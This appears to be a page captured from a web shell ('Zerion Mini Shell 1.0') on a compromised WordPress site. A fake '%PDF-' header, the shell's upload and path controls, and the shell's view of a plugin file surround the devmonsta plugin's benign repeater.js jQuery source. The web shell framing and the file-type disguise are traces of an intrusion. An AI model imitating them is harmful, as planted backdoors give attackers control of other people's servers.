%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/higroup/wp-content/plugins/devmonsta/core/options/assets/src/init-scripts/
Upload File :
Create Path :
Current File : /var/www/html/higroup/wp-content/plugins/devmonsta/core/options/assets/src/init-scripts/repeater.js

jQuery(document).ready(function ($) {
    function controlNameChanging(param){
        $(param.repeaterControl).each(function(index){
            var repeaterCount = index + 1;

            if(param.isRemoved){
                $(this).find('.devm-repeater-control-action, .devm-repeater-popup-close, .devm-editor-post-trash').attr('data-id', param.id+'_'+(repeaterCount));
                $(this).find('.devm-repeater-inner-controls').attr('id', param.id+'_'+(repeaterCount));
            }
            $(this).find('.devm-ctrl').each(function(index){
                var clonedInputs = !param.isRemoved ? param.clonedElement.find('.devm-ctrl')[index] : this,
                    name = $(clonedInputs).attr('name') ? $(clonedInputs).attr('name') : '',
                    formattedName = !param.isRemoved ? 'devm_options['+ param.id +']['+ param.repeatCount +']['+ name +']' : name;

                if(param.isRemoved){
                    formattedName = formattedName.replace(/\[(\d+)\]/, function(args, digit){ 
                        return "["+( repeaterCount )+"]";
                    });
                }

                if(name){
                    $(clonedInputs).attr('name', formattedName)
                }
            });
        })
        
    }
    
    jQuery(document).on('click', '.devm-repeater-add-new', function(e, isRemoved){
        e.preventDefault();
        var id = $(this).data('id');

        var repeaterContent      = $('#devm-repeater-control-list-' + id),
            repeaterContentField = $('#devm_repeater_content_' + id);
    

        var repeaterControl = $(this).closest('.devm-repeater-column').children('.devm-repeater-sample'),
            clonedElement = repeaterControl.clone().removeClass('devm-repeater-sample'),
            repeatCount = $(this).closest('.devm-repeater-column').children('.devm-repeater-control-list').children().length + 1;

            clonedElement.find('.devm-repeater-control-action, .devm-repeater-popup-close, .devm-editor-post-trash').attr('data-id', id+'_'+(repeatCount)).end();
            clonedElement.find('.devm-repeater-inner-controls').attr('id', id+'_'+(repeatCount)).end();

        var controlConfig = {
            'repeaterControl': [repeaterControl],
            'isRemoved': isRemoved,
            'clonedElement': clonedElement,
            'id': id,
            'repeatCount': repeatCount
        };
        if(!isRemoved){
            clonedElement.children('.devm-repeater-inner-controls').children('.devm-repeater-inner-controls-inner').children('.devm-repeater-popup-data').children('.devm-option:not(.devm-repeater-child)').addClass('active-script');
            $(this).closest('.devm-repeater-column').children('.devm-repeater-control-list').append(clonedElement);
            // console.log(repeaterContent.html());
            repeaterContentField.val(repeaterContent.html());
        } else {
            
            repeatCount = repeatCount - 1;
            controlConfig.repeaterControl = $(this).closest('.devm-repeater-column').children('.devm-repeater-control-list').children();
            repeaterContentField.val(repeaterContent.html());
        }

        // open popup after added the repeated item
        jQuery(this).closest('.devm-repeater-column').find('.devm-repeater-control-list > .devm-repeater-control > .devm-repeater-control-action').last().trigger('click');

        // resetting repeater name
        controlNameChanging(controlConfig)
        // resetting data
        resetRepeater(clonedElement);
    });
    
    // open and closing popup
    jQuery(document).on('click', '.devm-repeater-control-action', function(e){
        e.preventDefault();
        $(this).closest('.devm-repeater-control').children('.devm-repeater-inner-controls').addClass('open')
    });

    jQuery(document).on('click', '.devm-repeater-popup-close', function(e){
        e.preventDefault();
        $(this).closest('.devm-repeater-control').children('.devm-repeater-inner-controls').removeClass('open')
    });

    // deleting repeater
    $(document).on('click', '.devm-editor-post-trash',function(){
        $(this).closest('.devm-repeater-control').remove();
        jQuery('.devm-repeater-add-new').trigger('click', [true]);
    })
});

// reset repeater func
function resetRepeater(clonedElement){
    jQuery(window).trigger('devm-scripts.dm', [clonedElement]);
    jQuery(window).trigger('devm-vue.dm', [clonedElement]);
    
    jQuery(window).trigger('devm-scripts', [clonedElement]);
}

Zerion Mini Shell 1.0